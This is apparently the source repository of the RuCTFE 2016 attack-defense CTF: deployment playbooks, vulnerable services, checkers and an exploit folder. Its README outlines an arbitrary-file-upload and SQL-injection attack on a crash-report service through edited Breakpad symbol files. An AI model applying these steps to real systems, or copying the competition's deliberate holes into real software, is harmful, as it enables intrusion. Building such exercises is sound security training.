/ansible/roles/monitoring_client/files/diamond/collectors/NetworkCollector.conf: -------------------------------------------------------------------------------- 1 | enabled = True 2 | ttl_multiplier = 2 3 | path_suffix = "" 4 | measure_collector_time = False 5 | byte_unit = bit 6 | interfaces = eth bond em p1p game tun 7 | greedy = true 8 | metrics_whitelist = .*(rx_bit|tx_bit|rx_packets|tx_packets|rx_drop|tx_drop).* 9 | interval = 10 10 | -------------------------------------------------------------------------------- /services/cartographer/src/main/kotlin/cartographer/helpers/ZonedDateTimeHelper.kt: -------------------------------------------------------------------------------- 1 | package cartographer.helpers 2 | 3 | import java.time.Duration 4 | import java.time.ZonedDateTime 5 | import java.time.temporal.ChronoUnit 6 | 7 | fun durationBetween(lhs: ZonedDateTime, rhs: ZonedDateTime) : Duration { 8 | return Duration.ofNanos(ChronoUnit.NANOS.between(lhs, rhs)) 9 | } -------------------------------------------------------------------------------- /services/weather/signtool.c: -------------------------------------------------------------------------------- 1 | #include "forecast.h" 2 | #include "types.h" 3 | #include "logging.h" 4 | 5 | #include 6 | #include 7 | 8 | int32 main(int argc, char **argv) 9 | { 10 | if (argc != 2) 11 | { 12 | printf("Usage: %s \n", argv[0]); 13 | return 0; 14 | } 15 | 16 | printf("%016llx\n", wt_sign(argv[1], strlen(argv[1]))); 17 | } 18 | -------------------------------------------------------------------------------- /services/cartographer/src/main/kotlin/cartographer/data/DecryptImageRequest.kt: -------------------------------------------------------------------------------- 1 | package cartographer.data 2 | 3 | import com.fasterxml.jackson.annotation.JsonProperty 4 | 5 | data class DecryptImageRequest(@JsonProperty("key") val key: ByteArray, 6 | @JsonProperty("id") val id: String?, 7 | @JsonProperty("chunk") val chunk: ByteArray?) -------------------------------------------------------------------------------- /services/cartographer/src/main/kotlin/cartographer/providers/DateTimeProviderUtc.kt: -------------------------------------------------------------------------------- 1 | package cartographer.providers 2 | 3 | import org.springframework.stereotype.Component 4 | import java.time.ZoneOffset 5 | import java.time.ZonedDateTime 6 | 7 | @Component 8 | class DateTimeProviderUtc : DateTimeProvider { 9 | override fun get(): ZonedDateTime = ZonedDateTime.now(ZoneOffset.UTC) 10 | } -------------------------------------------------------------------------------- /services/cartographer/src/main/kotlin/cartographer/settings/DurationSetting.kt: -------------------------------------------------------------------------------- 1 | package cartographer.settings 2 | 3 | import java.time.Duration 4 | 5 | class DurationSetting : Setting { 6 | constructor(key: String) : super(key, { str -> Duration.parse(str) }) 7 | 8 | constructor(key: String, defaultValue: Duration) : super(key, { str -> Duration.parse(str) }, defaultValue) 9 | } -------------------------------------------------------------------------------- /ansible/roles/java8/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - name: Add contrib repo 3 | apt_repository: repo='deb http://mirror.yandex.ru/debian jessie contrib' state=present update_cache=yes 4 | 5 | - name: Install java-package 6 | apt: name={{ item }} 7 | with_items: 8 | - java-package 9 | 10 | - name: Install java 11 | apt: deb=https://alexbers.com/oracle-java8-jdk_8u112_amd64.deb 12 | 13 | -------------------------------------------------------------------------------- /services/weather/storage.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "types.h" 4 | 5 | #define WT_LAST_SAVED 6 6 | 7 | typedef char *last_values[WT_LAST_SAVED]; 8 | 9 | void wt_init_storage(const char *filename); 10 | 11 | void wt_storage_get(const char *key, char *value); 12 | 13 | void wt_storage_put(const char *key, const char *value); 14 | 15 | last_values *wt_get_last_values(int32 *available); -------------------------------------------------------------------------------- /ansible/roles/monitoring/handlers/main.yml: -------------------------------------------------------------------------------- 1 | - name: enable and restart carbon-cache 2 | service: name=carbon-cache enabled=yes state=restarted 3 | 4 | - name: enable and restart grafana 5 | service: name=grafana-server enabled=yes state=restarted 6 | 7 | - name: restart nginx 8 | service: name=nginx state=restarted 9 | 10 | - name: restart uwsgi 11 | service: name=uwsgi state=restarted 12 | -------------------------------------------------------------------------------- /ansible/roles/cs_master/templates/manager.service.j2: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=CS manager 3 | After=network.target 4 | 5 | [Service] 6 | Type=simple 7 | User=cs 8 | WorkingDirectory=/home/cs/app/ 9 | Environment=MOJO_MODE=production 10 | Environment=LANG=en_US.UTF-8 11 | ExecStart=/usr/bin/perl script/cs manager 12 | Restart=always 13 | RestartSec=15s 14 | 15 | [Install] 16 | WantedBy=multi-user.target 17 | -------------------------------------------------------------------------------- /services/cartographer/src/main/kotlin/cartographer/data/EncryptImageResponse.kt: -------------------------------------------------------------------------------- 1 | package cartographer.data 2 | 3 | import com.fasterxml.jackson.annotation.JsonProperty 4 | 5 | data class EncryptImageResponse(@JsonProperty("id") val id: String, 6 | @JsonProperty("key") val key: ByteArray, 7 | @JsonProperty("replicas") val replicas: Collection) -------------------------------------------------------------------------------- /ansible/roles/monitoring/files/graphite.ini: -------------------------------------------------------------------------------- 1 | [uwsgi] 2 | 3 | master = true 4 | processes = 16 5 | plugin = python 6 | enable-threads = true 7 | vacuum = true 8 | pidfile = /run/uwsgi/app/graphite/pid 9 | socket = /tmp/graphite.sock 10 | uid = _graphite 11 | gid = www-data 12 | pymodule-alias = graphite.local_settings=/etc/graphite/local_settings.py 13 | wsgi-file = /usr/share/graphite-web/graphite.wsgi 14 | -------------------------------------------------------------------------------- /ansible/ructfe2016_rsa.pub: -------------------------------------------------------------------------------- 1 | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChh+Q2bSW6cCO2gHLKG+hSWsOeSD7f7Aw5+7tUliziGprd4ZsPwElqqiMnY3eULlM2ZgyUwIbpirq4NqJ0kQTER5VfBH5+o/6Autq6NObZ2AJXxM/L6XB9PK/mt8qWhUeDR7MA5wbFzcgHOFsazVuP1NaKj4BXX6ck78Fi+850VLdMXw502G1mq6wvP6S8sKyp1ZW2bKcG7tKyAIGHmXdDM1uyNLcEXDruFwnJZFo6hm6wHkCKW4i6eUDpcurRuCdhBSY2iqUs6hK6R3bo7p+YOKWpK7VHKpGSpiXhplqnmKJwGQsV3fcWXWcJQc1arozJGcsuLth0Xti+uq/8QwBn ructfe2016 2 | -------------------------------------------------------------------------------- /services/cartographer/src/main/kotlin/cartographer/helpers/UuidHelper.kt: -------------------------------------------------------------------------------- 1 | package cartographer.helpers 2 | 3 | import java.util.* 4 | 5 | fun parseUuidSafe(idString: String?): UUID? { 6 | try { 7 | if (idString == null) { 8 | return null 9 | } 10 | 11 | return UUID.fromString(idString) 12 | } catch (t: Throwable) { 13 | return null 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /ansible/roles/dump/files/dump@.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=Dump service for %i 3 | After=network.target 4 | 5 | [Service] 6 | ExecStart=/home/dump/start_dump.sh %i 7 | WorkingDirectory=/home/dump 8 | User=root 9 | Group=root 10 | Restart=on-failure 11 | RestartSec=3s 12 | CPUQuota=100% 13 | MemoryLimit=2000M 14 | 15 | [Install] 16 | WantedBy=multi-user.target 17 | -------------------------------------------------------------------------------- /ansible/roles/monitoring_client/files/diamond.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=Diamond 3 | After=network.target 4 | 5 | [Service] 6 | ExecStart=/usr/local/bin/diamond --foreground 7 | WorkingDirectory=/ 8 | User=diamond 9 | Group=diamond 10 | Restart=on-failure 11 | RestartSec=3s 12 | CPUQuota=100% 13 | MemoryLimit=2000M 14 | 15 | [Install] 16 | WantedBy=multi-user.target 17 | -------------------------------------------------------------------------------- /ansible/roles/noman/tasks/main.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | - name: Add nodoc in dpkg 3 | copy: src=01_nodoc dest=/etc/dpkg/dpkg.cfg.d/01_nodoc 4 | 5 | - name: Remove packages and apt-get update 6 | apt: name={{ item }} state=absent update_cache=yes 7 | with_items: 8 | - man-db 9 | - cron 10 | 11 | - name: Remove man pages 12 | file: name={{ item }} state=absent 13 | with_items: 14 | - /usr/share/man 15 | 16 | -------------------------------------------------------------------------------- /ansible/roles/cs_master/templates/worker.service.j2: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=CS worker 3 | After=network.target 4 | 5 | [Service] 6 | Type=simple 7 | User=cs 8 | WorkingDirectory=/home/cs/app/ 9 | Environment=MOJO_MODE=production 10 | Environment=LANG=en_US.UTF-8 11 | ExecStart=/usr/bin/perl script/cs minion worker -q default -j 5 12 | Restart=always 13 | RestartSec=15s 14 | 15 | [Install] 16 | WantedBy=multi-user.target 17 | -------------------------------------------------------------------------------- /ansible/roles/cs_master/templates/watcher.service.j2: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=CS watcher 3 | After=network.target 4 | 5 | [Service] 6 | Type=simple 7 | User=cs 8 | LimitNOFILE=10000 9 | WorkingDirectory=/home/cs/app/ 10 | Environment=MOJO_MODE=production 11 | Environment=LANG=en_US.UTF-8 12 | ExecStart=/usr/bin/perl script/cs watcher 13 | Restart=always 14 | RestartSec=15s 15 | 16 | [Install] 17 | WantedBy=multi-user.target 18 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/antidos/antidos.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=Network closed 3 | After=network.target 4 | 5 | [Service] 6 | ExecStart=/home/antidos/antidos_serv.py 7 | WorkingDirectory=/home/antidos 8 | User=antidos 9 | Group=antidos 10 | Restart=on-failure 11 | RestartSec=3s 12 | CPUQuota=100% 13 | MemoryLimit=2000M 14 | 15 | [Install] 16 | WantedBy=multi-user.target 17 | -------------------------------------------------------------------------------- /ansible/roles/cs_flags/templates/flags@.service.j2: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=CS Flags #%I 3 | After=network.target 4 | 5 | [Service] 6 | Type=simple 7 | User=cs 8 | LimitNOFILE=10000 9 | WorkingDirectory=/home/cs/app/ 10 | Environment=MOJO_MODE=production 11 | Environment=LANG=en_US.UTF-8 12 | ExecStart=/usr/bin/perl script/cs flags --id %I 13 | Restart=always 14 | RestartSec=15s 15 | 16 | [Install] 17 | WantedBy=multi-user.target 18 | -------------------------------------------------------------------------------- /ansible/roles/dump/scripts/traffic.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # A helper script to show realtime team data in wireshark 4 | # Uses ssh connection to traffic dump server 5 | 6 | filter="$1" 7 | 8 | if [ -z "$filter" ]; then 9 | echo "USAGE: ./traffic.sh " 10 | echo "Do not forget to filter out the ssh traffic" 11 | exit 12 | fi 13 | 14 | ssh root@mon.a10 "tcpdump -U -i eth1 -w - -s 0 ${filter}" | wireshark -k -i - 15 | -------------------------------------------------------------------------------- /ansible/roles/backuper/files/id_rsa.pub: -------------------------------------------------------------------------------- 1 | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdJTHBb9jUuvLG5v4LKL+zLKzXeQiy1vpnr7YPGX9iAlJwCx9H4OjyZl0+83MSWb6vSqSaq/Q6yxzBXTfi+zIvPDtb+xtmZCIZDNYv8/UIVAHN+ue+YTTZDLxdtDU2K638D3gwQsNbU/B+NcwTNsPXmavytRyGG1KtIjutxdzgawsqAX8AAl2VZ7L0M4HjarmBbxn7w8EjmPbIclTA2ejguutoP51dxPK5hEN9776QOnirKL/jl8s+7ixc1ujvjdVQcPMp7SezD6VsXW75JhbLkD7B3tL0YCLVccQrxSDuSvTz4Zv9HA4+/TjUyCC2zd4GCSo3IknOcz2rmmPMiGTv alice@baysgentoonotebook 2 | -------------------------------------------------------------------------------- /ansible/roles/cs_master/templates/web.service.j2: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=CS web 3 | After=network.target 4 | 5 | [Service] 6 | Type=forking 7 | User=cs 8 | WorkingDirectory=/home/cs/app/ 9 | PIDFile=/home/cs/app/script/hypnotoad.pid 10 | ExecStart=/usr/local/bin/hypnotoad script/cs 11 | ExecStop=/usr/local/bin/hypnotoad -s script/cs 12 | ExecReload=/usr/local/bin/hypnotoad script/cs 13 | 14 | [Install] 15 | WantedBy=multi-user.target 16 | -------------------------------------------------------------------------------- /ansible/roles/monitoring_client/files/diamond/collectors/TCPCollector.conf: -------------------------------------------------------------------------------- 1 | enabled = True 2 | ttl_multiplier = 2 3 | path_suffix = "" 4 | measure_collector_time = False 5 | byte_unit = byte, 6 | allowed_names = "ListenOverflows, ListenDrops, TCPLoss, TCPTimeouts, TCPFastRetrans, TCPLostRetransmit, TCPForwardRetrans, TCPSlowStartRetrans, CurrEstab, TCPAbortOnMemory, TCPBacklogDrop, AttemptFails, EstabResets, InErrs, ActiveOpens, PassiveOpens" 7 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/teamcheck/teamcheck.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=Team checker 3 | After=network.target 4 | 5 | [Service] 6 | ExecStart=/home/teamcheck/gen_status_loop.py 7 | WorkingDirectory=/home/teamcheck 8 | User=teamcheck 9 | Group=teamcheck 10 | Restart=on-failure 11 | RestartSec=3s 12 | CPUQuota=100% 13 | MemoryLimit=2000M 14 | 15 | 16 | [Install] 17 | WantedBy=multi-user.target 18 | -------------------------------------------------------------------------------- /ansible/roles/cs_checker/templates/worker-checkers.service.j2: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=CS worker 3 | After=network.target 4 | 5 | [Service] 6 | Type=simple 7 | User=cs 8 | WorkingDirectory=/home/cs/app/ 9 | Environment=MOJO_MODE=production 10 | Environment=LANG=en_US.UTF-8 11 | ExecStart=/usr/bin/perl script/cs minion worker -q checker -j {{ item.jobs }} 12 | Restart=always 13 | RestartSec=15s 14 | 15 | [Install] 16 | WantedBy=multi-user.target 17 | -------------------------------------------------------------------------------- /ansible/roles/general_nginx/templates/vhost.conf.j2: -------------------------------------------------------------------------------- 1 | server { 2 | listen 80 default; 3 | return 301 http://$hostname$request_uri; 4 | } 5 | 6 | server { 7 | listen 80; 8 | server_name $hostname; 9 | root /var/www/; 10 | location / { 11 | autoindex off; 12 | } 13 | 14 | location ~ ^/(?P{{ groups['services'] | join('|') }})$ { 15 | rewrite ^ http://$service.$host redirect; 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /checkers/atlablog/templates/user_agents.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import random 3 | 4 | 5 | def get(): 6 | for i in range(2): 7 | try: 8 | return __get() 9 | except Exception as e: 10 | error = e 11 | raise OSError(str(error)) 12 | 13 | 14 | def __get(): 15 | with open('useragents') as fin: 16 | user_agents = [line.strip() for line in fin] 17 | return random.choice(user_agents) 18 | -------------------------------------------------------------------------------- /services/cartographer/src/main/kotlin/cartographer/Application.kt: -------------------------------------------------------------------------------- 1 | package cartographer 2 | 3 | import org.springframework.boot.SpringApplication 4 | import org.springframework.boot.autoconfigure.SpringBootApplication 5 | 6 | @SpringBootApplication 7 | open class Application { 8 | companion object { 9 | @JvmStatic fun main(args: Array) { 10 | SpringApplication.run(Application::class.java, *args) 11 | } 12 | } 13 | } -------------------------------------------------------------------------------- /services/cartographer/src/main/kotlin/cartographer/data/AddressLatencyHistory.kt: -------------------------------------------------------------------------------- 1 | package cartographer.data 2 | 3 | data class AddressLatencyHistory(val averageLatency: Long?, 4 | val backOffLeft: Int, 5 | val lastBackOff: Int) { 6 | constructor(averageLatency: Long) : this(averageLatency, 0, 0) 7 | 8 | constructor(backOffLeft: Int, lastBackOff: Int) : this(null, backOffLeft, lastBackOff) 9 | } -------------------------------------------------------------------------------- /services/atlablog/templates/login.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | 3 | {% import '_form_macro.html' as forms %} 4 | 5 | {% block content %} 6 |
7 | {{ forms.input_with_errors(form.username, style='font-weight: bold') }} 8 | {{ forms.input_with_errors(form.password, style='font-weight: bold') }} 9 | 10 |
11 | {% endblock %} 12 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/networkclosed/networkclosed.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=Network closed 3 | After=network.target 4 | 5 | [Service] 6 | ExecStart=/home/networkclosed/networkclosed_serv.py 7 | WorkingDirectory=/home/networkclosed 8 | User=networkclosed 9 | Group=networkclosed 10 | Restart=on-failure 11 | RestartSec=3s 12 | CPUQuota=100% 13 | MemoryLimit=2000M 14 | 15 | [Install] 16 | WantedBy=multi-user.target 17 | -------------------------------------------------------------------------------- /services/weather/server.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "types.h" 4 | 5 | #include 6 | 7 | 8 | struct client 9 | { 10 | int32 socket; 11 | struct pollfd *pollfd; 12 | int32 type; 13 | }; 14 | 15 | void wt_close_client(const struct client *client); 16 | 17 | void wt_make_nonblocking(int32 socket); 18 | 19 | int32 wt_start_server(uint32 address, int32 port); 20 | 21 | void wt_fill_template(const char *request, char *buffer, const char *template); -------------------------------------------------------------------------------- /services/thebin/startup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | config=/etc/nginx/config.lua 4 | 5 | if test ! -e $config; then 6 | secret=`head -c 1024 /dev/urandom | sha512sum`; 7 | cat > $config <<- END 8 | local config = require("lapis.config").config 9 | 10 | config("development", { 11 | session_name = "auth", 12 | secret = "$secret", 13 | redis = { 14 | host = "127.0.0.1", 15 | port = "6379" 16 | }, 17 | ttl = 1800, 18 | show_time = 10, 19 | }) 20 | END 21 | fi 22 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/antidos/block_team.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | num="$1" 4 | 5 | if [ -z $num ]; then 6 | echo "USAGE: block_team.sh team_num" 7 | exit 8 | fi 9 | 10 | if [[ ! $num =~ ^[0-9]+$ ]]; then 11 | echo "Team num should be number" 12 | exit 13 | fi 14 | 15 | ip="10.$((80 + num / 256)).$((num % 256)).1" 16 | 17 | # add the couple of rules 18 | iptables -t nat -A PREROUTING -m tcp -m comment --comment "antidos" -p tcp -i "team${num}" -j DNAT --to-destination "${ip}:40001" 19 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/antidos/unblock_team.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | num=$1 4 | 5 | if [ -z $num ]; then 6 | echo "USAGE: block_team.sh team_num" 7 | exit 8 | fi 9 | 10 | if [[ ! $num =~ ^[0-9]+$ ]]; then 11 | echo "Team num should be number" 12 | exit 13 | fi 14 | 15 | ip="10.$((80 + num / 256)).$((num % 256)).1" 16 | 17 | # add the couple of rules 18 | iptables -t nat -D PREROUTING -m tcp -m comment --comment "antidos" -p tcp -i "team${num}" -j DNAT --to-destination "${ip}:40001" 19 | -------------------------------------------------------------------------------- /ansible/roles/thebin-build/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - name: Install requirements 3 | apt: name={{ item }} 4 | with_items: 5 | - libssl-dev 6 | - make 7 | - g++ 8 | 9 | - name: Copy service 10 | copy: 11 | src: "{{ playbook_dir }}/../services/thebin/" 12 | dest: "/opt/thebin/" 13 | 14 | - name: Make rand 15 | make: chdir=/opt/thebin/ target=rand.so 16 | 17 | - name: Fetch rand.so 18 | fetch: src=/opt/thebin/rand.so dest="{{ playbook_dir }}/../services/thebin/rand.so" flat=yes 19 | -------------------------------------------------------------------------------- /services/cartographer/src/main/kotlin/cartographer/crypto/DefaultKeyDeserializer.kt: -------------------------------------------------------------------------------- 1 | package cartographer.crypto 2 | 3 | import org.springframework.stereotype.Component 4 | import java.security.Key 5 | import javax.crypto.spec.SecretKeySpec 6 | 7 | @Component 8 | class DefaultKeyDeserializer(val cryptographySettings: CryptographySettings) : KeyDeserializer { 9 | override fun deserialize(serialized: ByteArray): Key { 10 | return SecretKeySpec(serialized, cryptographySettings.keySpec) 11 | } 12 | } -------------------------------------------------------------------------------- /services/cartographer/src/test/kotlin/cartographer/testhelpers/WaitHelper.kt: -------------------------------------------------------------------------------- 1 | package cartographer.testhelpers 2 | 3 | import java.time.Duration 4 | import java.time.Instant 5 | import java.util.concurrent.TimeoutException 6 | 7 | fun waitUntil(duration: Duration, action: () -> Boolean) { 8 | val testEnd = Instant.now().plus(duration) 9 | while (Instant.now().isBefore(testEnd)) { 10 | if (action()) { 11 | return 12 | } 13 | } 14 | 15 | throw TimeoutException() 16 | } -------------------------------------------------------------------------------- /ansible/roles/vpn/handlers/main.yml: -------------------------------------------------------------------------------- 1 | - name: restart openvpn 2 | shell: /bin/bash -c "/bin/systemctl restart openvpn@{0..767}" 3 | 4 | - name: restart nginx 5 | service: name=nginx state=restarted 6 | 7 | - name: enable and restart teamcheck 8 | service: name=teamcheck enabled=yes state=restarted 9 | 10 | - name: enable and restart networkclosed 11 | service: name=networkclosed enabled=yes state=restarted 12 | 13 | - name: enable and restart antidos 14 | service: name=antidos enabled=yes state=restarted 15 | -------------------------------------------------------------------------------- /ansible/roles/dump/files/start_dump_eth0.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # A helper script to show realtime team data in wireshark 4 | # Uses ssh connection to traffic dump server 5 | 6 | team="$1" 7 | 8 | if [ -z $team ]; then 9 | echo "USAGE: ./start_dump.sh " 10 | exit 11 | fi 12 | 13 | net1="10.$((60 + team / 256)).$((team % 256)).0/24" 14 | net2="10.$((80 + team / 256)).$((team % 256)).0/24" 15 | 16 | filter="net ${net1} or net ${net2}" 17 | exec tcpdump -U -i eth1 -C 20 -w "/home/dump/team${team}" -s 0 "${filter}" 18 | -------------------------------------------------------------------------------- /sploits/crash/build.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | 3 | $service_name = "just_crash"; 4 | `g++ -I\$BREAKPAD/src -std=c++11 $service_name.cpp \$BREAKPAD/src/client/linux/libbreakpad_client.a -pthread -g -O0 -o $service_name`; 5 | $module_info = `./dump_syms -i $service_name`; 6 | $module_info =~ m/^MODULE\s\w+\s\w+\s(\w+)/; 7 | $module_id = $1; 8 | print "$module_id\n"; 9 | `mkdir symbols/$service_name`; 10 | `mkdir symbols/$service_name/$module_id`; 11 | `./dump_syms $service_name > symbols/$service_name/$module_id/$service_name.sym`; 12 | -------------------------------------------------------------------------------- /checkers/crash/build.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | 3 | $service_name = "submarine_internal"; 4 | `g++ -I\$BREAKPAD/src -std=c++11 $service_name.cpp \$BREAKPAD/src/client/linux/libbreakpad_client.a -pthread -g -O0 -o $service_name`; 5 | $module_info = `./dump_syms -i $service_name`; 6 | $module_info =~ m/^MODULE\s\w+\s\w+\s(\w+)/; 7 | $module_id = $1; 8 | print "$module_id\n"; 9 | `mkdir symbols/$service_name`; 10 | `mkdir symbols/$service_name/$module_id`; 11 | `./dump_syms $service_name > symbols/$service_name/$module_id/$service_name.sym`; 12 | -------------------------------------------------------------------------------- /ansible/roles/backupable/tasks/main.yml: -------------------------------------------------------------------------------- 1 | - name: put public key of backuper in postgres 2 | authorized_key: user=postgres key="ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdJTHBb9jUuvLG5v4LKL+zLKzXeQiy1vpnr7YPGX9iAlJwCx9H4OjyZl0+83MSWb6vSqSaq/Q6yxzBXTfi+zIvPDtb+xtmZCIZDNYv8/UIVAHN+ue+YTTZDLxdtDU2K638D3gwQsNbU/B+NcwTNsPXmavytRyGG1KtIjutxdzgawsqAX8AAl2VZ7L0M4HjarmBbxn7w8EjmPbIclTA2ejguutoP51dxPK5hEN9776QOnirKL/jl8s+7ixc1ujvjdVQcPMp7SezD6VsXW75JhbLkD7B3tL0YCLVccQrxSDuSvTz4Zv9HA4+/TjUyCC2zd4GCSo3IknOcz2rmmPMiGTv alice@baysgentoonotebook" 3 | tags: backupable 4 | -------------------------------------------------------------------------------- /ansible/roles/dump/scripts/get_realtime_team_traffic.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # A helper script to show realtime team data in wireshark 4 | # Uses ssh connection to traffic dump server 5 | 6 | team="$1" 7 | 8 | if [ -z $team ]; then 9 | echo "USAGE: ./get_realtime_team_traffic.sh " 10 | exit 11 | fi 12 | 13 | net1="10.$((60 + team / 256)).$((team % 256)).0/24" 14 | net2="10.$((80 + team / 256)).$((team % 256)).0/24" 15 | 16 | filter="net ${net1} or net ${net2}" 17 | ssh root@mon.a10 "tcpdump -U -i eth1 -w - -s 0 ${filter}" | wireshark -k -i - 18 | -------------------------------------------------------------------------------- /ansible/roles/redis/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - name: Redis | Install required system packages. 3 | apt: pkg=redis-server state=installed default_release=testing 4 | 5 | - name: Redis | copy config 6 | lineinfile: 7 | dest: /etc/redis/redis.conf 8 | regexp: "{{ item.regexp }}" 9 | line: "{{ item.line }}" 10 | with_items: 11 | - { regexp: '^\s*#?\s*maxmemory', line: "maxmemory 536870912" } 12 | notify: restart redis 13 | 14 | - name: Redis | Start 15 | service: name=redis-server state=started enabled=yes 16 | tags: 17 | - specific 18 | -------------------------------------------------------------------------------- /sploits/crash/README: -------------------------------------------------------------------------------- 1 | Vulns: 2 | 1. You can upload any file to arbitrary directory, but you can't overwrite existing files(. See sploit.py 3 | 2. SQL injection while report submiting 4 | 5 | Attack: 6 | 1. You need some binary linked with google breakpad. See just_crash.cpp 7 | 2. Generate symbols. See build.pl 8 | 3. Crash you binary 9 | 4. Edit symbol file. Instead of function name write SQL injection. See diff between 10 | just_crash.sym and just_crash(original).sym 11 | 5. Submit report with minidump and symbol. See sploit.py 12 | 6. Open service's main page 13 | -------------------------------------------------------------------------------- /ansible/roles/cartographer-build/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - name: Copy service 3 | copy: 4 | src: "{{ playbook_dir }}/../services/cartographer/" 5 | dest: "/opt/cartographer/" 6 | 7 | - name: Add executable bit to gradlew 8 | file: name=/opt/cartographer/gradlew mode=0755 9 | 10 | - name: Build project 11 | command: ./gradlew build 12 | args: 13 | chdir: /opt/cartographer/ 14 | tags: 15 | - skip_ansible_lint 16 | 17 | - name: Fetch binary 18 | fetch: src=/opt/cartographer/build/libs/cartographer-1.0.0.jar dest=/tmp/cartographer.jar flat=yes 19 | -------------------------------------------------------------------------------- /ansible/roles/noman/files/01_nodoc: -------------------------------------------------------------------------------- 1 | # Delete locales 2 | path-exclude=/usr/share/locale/* 3 | path-include=/usr/share/locale/locale.alias 4 | path-include=/usr/share/locale/en/* 5 | path-include=/usr/share/locale/en_US.UTF-8/* 6 | path-include=/usr/share/locale/languages 7 | path-include=/usr/share/locale/all_languages 8 | path-include=/usr/share/locale/currency/* 9 | path-include=/usr/share/locale/l10n/* 10 | 11 | # Delete man pages 12 | # path-exclude=/usr/share/man/* 13 | 14 | # Delete docs 15 | path-exclude=/usr/share/doc/* 16 | path-include=/usr/share/doc/*/copyright 17 | -------------------------------------------------------------------------------- /services/cartographer/cartographer.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /services/sapmarine/Package.swift: -------------------------------------------------------------------------------- 1 | import PackageDescription 2 | 3 | let package = Package( 4 | name: "sapmarine", 5 | dependencies: [ 6 | .Package(url: "https://github.com/IBM-Swift/Kitura.git", majorVersion: 1, minor: 1), 7 | .Package(url: "https://github.com/IBM-Swift/BlueCryptor.git", majorVersion: 0, minor: 7), 8 | .Package(url: "https://github.com/IBM-Swift/Kitura-Session.git", majorVersion: 1, minor: 1), 9 | .Package(url: "https://github.com/IBM-Swift/Kitura-StencilTemplateEngine.git", majorVersion: 1, minor: 1) 10 | ]) 11 | -------------------------------------------------------------------------------- /services/thebin/my.lua: -------------------------------------------------------------------------------- 1 | local ws = require 'ws' 2 | local util = require 'lapis.util' 3 | local session_util = require 'lapis.session' 4 | local redis = require 'redis' 5 | 6 | local module = {} 7 | 8 | function module.process() 9 | local cookies = util.parse_cookie_string(ngx.req.get_headers().cookie) 10 | local session = session_util.get_session({cookies = cookies}) 11 | 12 | if not session then 13 | return 14 | end 15 | 16 | local user = session.user 17 | 18 | if not user then 19 | return 20 | end 21 | 22 | ws.process(redis.get_listid(user)) 23 | end 24 | 25 | return module -------------------------------------------------------------------------------- /services/weather/httpserver.c: -------------------------------------------------------------------------------- 1 | #include "httpserver.h" 2 | #include "page.h" 3 | 4 | #include 5 | #include 6 | 7 | #define TPSIZE 4096 8 | 9 | char inputBufferHttp[1024]; 10 | char templateHttp[] = RESPONSE BODY; 11 | 12 | void wt_http_process_client(const struct client *client) 13 | { 14 | if (read(client->socket, inputBufferHttp, sizeof(inputBufferHttp)) == 0) 15 | return; 16 | 17 | char response[TPSIZE]; 18 | wt_fill_template(inputBufferHttp, response, templateHttp); 19 | 20 | write(client->socket, response, strlen(response)); 21 | 22 | wt_close_client(client); 23 | } -------------------------------------------------------------------------------- /services/weather/types.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define true 1 4 | #define false 0 5 | 6 | #define max(a, b) ((a) >= (b) ? (a) : (b)) 7 | #define min(a, b) ((a) <= (b) ? (a) : (b)) 8 | #define abs(n) ((n) >= 0 ? (n) : -(n)) 9 | 10 | typedef unsigned char byte; 11 | typedef signed char sbyte; 12 | typedef unsigned short uint16; 13 | typedef signed short int16; 14 | typedef unsigned int uint32; 15 | typedef signed int int32; 16 | typedef unsigned long long uint64; 17 | typedef signed long long int64; 18 | typedef int32 bool; 19 | 20 | void wt_error(const char *message); 21 | 22 | void wt_system(const char *message); -------------------------------------------------------------------------------- /ansible/roles/monitoring_client/tasks/main.yml: -------------------------------------------------------------------------------- 1 | - name: create diamond user 2 | user: name=diamond shell=/bin/false createhome=no 3 | 4 | - name: install diamond 5 | pip: name=diamond 6 | 7 | - name: copy diamond configs 8 | copy: src=diamond dest=/etc/ 9 | notify: enable and restart diamond 10 | 11 | - name: create diamond dirs 12 | file: path=/var/log/diamond/ state=directory 